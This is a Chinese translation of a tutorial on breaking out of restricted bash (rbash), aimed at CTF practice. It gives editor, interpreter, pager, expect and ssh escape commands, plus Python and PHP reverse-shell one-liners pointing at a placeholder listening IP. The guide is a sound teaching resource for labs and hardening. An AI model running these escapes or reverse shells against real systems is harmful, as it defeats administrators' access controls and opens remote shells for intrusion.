「翻译」 如何Bypass rbash
前言
我们都知道安全分析师和黑客的关系像tom和jerry一样,一个人采取措施加强安全等级,另外一个人试图绕过它。这种类似的情况出现在我解决CTF挑战的时候,总是一个新类型的配置错误来帮我学习不当执行配置的保护。
在本文中,我们会讨论关于有限的shell或者bash。它常出现在许多CTF挑战中,并且我们将基于多种方法学习如何bypass rbash。
以下是使用rbash的CTF挑战
- Happycorp:1 Vulnhub Walkthrough
- Development: Vulnhub Walkthrough
表中的内容
- 受限shell
- rbash中的限制
- rbash的优点
- rbsh的缺点
- 多种方法绕过rbash
受限制的外壳rbash
一个受限制的shell常常在一个环境中要比标准版本的shell更加受控制,这意味着如果bash以rbash启动,或者使用-r选项调用,那么这个shell将被限制。
rbash中的限制
它的行为和bash一样,不同之处在于不允许执行以下操作
- cd command 改变目录
- 路径(设置或者取消)
- ENV 又称为BASH_ENV (环境设置/取消)
- 导入方法
- 指定包含参数/的文件名
- 指定包含参数-的文件名
- 使用>、>>、>|、<>、>&、&>的输出重定向
- 使用set + r 或者 set +o 关闭限制
rbash的好处
rbash经常用于联合 chroot jail 使用,以限制在整个过程中的访问权限
rbash的缺点
当一个shell 脚本命令被执行时,rbash 会取消任何在不足以允许不被完全信任的代码执行
为用户开启受限外壳rbash
如上所述,rbash 会控制用户的bash shell 权限并且只允许执行被信任的命令,这意味着登录的用户只能运行某些被选定的命令。为了控制用户的bash命令,任意用户想要执行或者开启受限制的shell,请按以下步骤。
1、创建本地用户ignite
2、设置密码
3、在本地用户上设置usermod 开启rbash
4、在/etc/passwd的帮助下,确定用户可访问的shell
adduser ignite
usermod -s /bin/rbash ignite
绕过 rbash的方法
1、使用编辑器绕过rbash
- vi 编辑器
- ed编辑器
2、使用一行代码绕过rbash
- python
- perl
- awk
3、通过反向shell绕过rbash
4、使用系统二进制文件绕过rbash
- more
- less
- man
5、使用Expect绕过rbash
6、通过SSH绕过rbash
一、使用编辑器绕过rbash
现在假设你以本地用户的权限进行了主机登录,并且发现已经登录的用户是rbash shell的一部分,因此你不能运行一些系统命令,例如cd(改变目录)因为rbash收到了限制
现在有一个问题:在这种情况下你要怎么办?
答案是:使用编辑器程序来进行受限模式的绕过。
ssh ignite@192.168.1.103
cd /etc
1、vi 编辑器
所以你可以使用vi 编辑器并且它会处于编辑器模式下,此时你需要运行以下命令打开"sh:bourne shell" 代替rbash
vi
:set shell=/bin/sh
:shell
现在,如果你试图访问/etc目录,你将会看到你可以运行cd & pwd 命令了,正如以下所示。
2、ed编辑器
你也可以使用ed编辑器,它用起来非常简单就和cat差不多,它会提供内联编辑模式。在你使用以下命令的时候会调用"sh:bourne shell"
ed
! '/bin/sh
现在,如果你试图访问/etc目录,你将会看到你可以运行cd & pwd 命令了,正如以下所示。
还有很多编辑器像pico和nano,你需要自己去尝试绕过rbash环境。
二、使用一行代码绕过rbash
1、python
你也可以选择python如下所示命令作为一行代码导入"sh:bourne shell" ,并且生成合适的sh shell 而不是rbash,如下所示我们可以访问/etc 目录没有任何限制。
python -c 'import os; os.system("/bin/sh");'
python3 -c 'import os; os.system("/bin/sh");'
2、perl
同样的,你可以选择perl如以下命令,生成合适的sh shell 而不是rbash,如下所示我们可以访问/etc 目录没有任何限制。
3、awk
同样的,你可以选择awk如以下命令作为一行代码导入"sh:bourne shell",生成合适的 sh shell 而不是rbash,如下所示,我们可以访问/etc 目录没有任何限制。
awk 'BEGIN {system("/bin/sh")}'
三、通过反向shell绕过rbash
1、python
你也可以选择反向shellcode来绕过rbash,这里我们使用python反向shellcode,这会将"sh:bourne shell"抛给使用netcat 监听的机器(在本例中是kali linux)
nc -lvp 1234
在监听之后,我们需要运行如下命令
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LISTENING IP",LISTENING PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
现在,如果你试图访问/etc目录,你将会看到你可以运行cd & pwd 命令了,正如以下所示。
2、PHP
同样的,你可以在需要执行的主机上使用php反向shellcode,在你监听的IP上就会获得反向连接的shell。
php -r '$sock=fsockopen("LISTENING IP",LISTENING PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
现在,如果你试图访问/etc目录,你将会看到你可以运行cd & pwd 命令了,正如以下所示。
四、使用二进制文件绕过rbash
非常少的人知道这点,某些系统二进制程序(例如less,more,head,tail,man等)对于帮助绕过受限的环境非常有效。
考虑一种情况,你在当前的目录下有一个日志文件名为ignite.txt,你允许一部分的命令来读取这个日志文件例如more或less。
1、more
通过执行以下命令获取/bin/more程序的特权来绕过受限制的环境
!'sh'
现在如果你试图访问/etc 目录,再次尝试那么你会看到你能够执行cd pwd命令,如下所示
2、less
通过执行以下命令获取/bin/less程序的特权来绕过受限制的环境
less ignite.txt
!'sh'
现在如果你试图访问/etc 目录,再次尝试那么你会看到你能够执行cd pwd命令,如下所示
3、man
通过执行以下命令获取/bin/man程序的特权来绕过受限制的环境
man man
!'sh'
现在如果你试图访问/etc 目录,再次尝试那么你会看到你能够执行cd pwd命令,如下所示
(这张图作者应该是贴错了)
五、使用expect程序绕过rbash
Expect是一个unix下的程序,它可以根据脚本与其他程序交互来进行对话,在脚本之后,Expect知道程序期待什么,然后给它正确的回复。
在rbash shell下执行以下命令,可以获取bin/usr/expect的特权来绕过受限的环境。
expect
spwan sh
现在如果你试图访问/etc 目录,再次尝试那么你会看到你能够执行cd pwd命令,如下所示
六、通过ssh绕过rbash
如果你知道属于在rbash shell部分中ssh的用户认证凭据,那么你可以使用以下命令通过ssh来破解jail 然后绕过rbash获得合适的权限
ssh ignite@192.168.1.103 -t "bash --noprofile"
现在如果你试图访问/etc 目录,再次尝试那么你会看到你能够执行cd pwd命令,如下所示
参考:http : //manpages.ubuntu.com/manpages/cosmic/man1/rbash.1.html
原文:https://www.hackingarticles.in/multiple-methods-to-bypass-restricted-shell/
- 无限级分类(非递归算法/存储过程版/GUID主键)完整数据库示例_(1)表结构
- Centos7修改默认网卡名(改为eth0)以及网卡启动报错RTNETLINK answers: File exists处理
- 通过企业分布式缓存共享运行时数据
- 移植SlidingMenu Android library,和安装example出现的问题解决
- 无限级分类(非递归算法/存储过程版/GUID主键)完整数据库示例_(2)插入记录
- Centos中yum方式安装java
- 微信小程序新革命催生新物种新物种带来大红利!玩转行业新玩法
- 无限级分类(非递归算法/存储过程版/GUID主键)完整数据库示例_(3)删除记录
- 部署Zipkin分布式性能追踪日志系统的操作记录
- 无限级分类(非递归算法/存储过程版/GUID主键)完整数据库示例_(4)显示记录
- Android 2.x中使用actionbar - Actionbarsherlock (2)
- python读txt和xml
- 让Jexus支持高并发请求的优化技巧
- 数据压缩算法LZO (C#)
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 怎么创建一个良好的Git提交信息
- Epoll 如何工作的?
- 用函数式的方式思考——递归
- Linux等待队列原理与实现
- 微信小程序switchTab带参解决方法
- 微信小程序使用腾讯文档打开文档
- Vue.js属性装饰器库vue-property-decorator文档
- Vue Class Component文档翻译
- Vue使用深度选择器在scoped中修改第三方样式
- Redis Keyspace Notifications(Redis键空间通知)
- NodeJS使用Redis键的过期回调
- 深入Linux并发同步
- JS的页面生命周期事件
- Request请求库被废弃了! 我们该用什么替代?
- 钢材信息小程序开发总结(四) --- 最普通数据大屏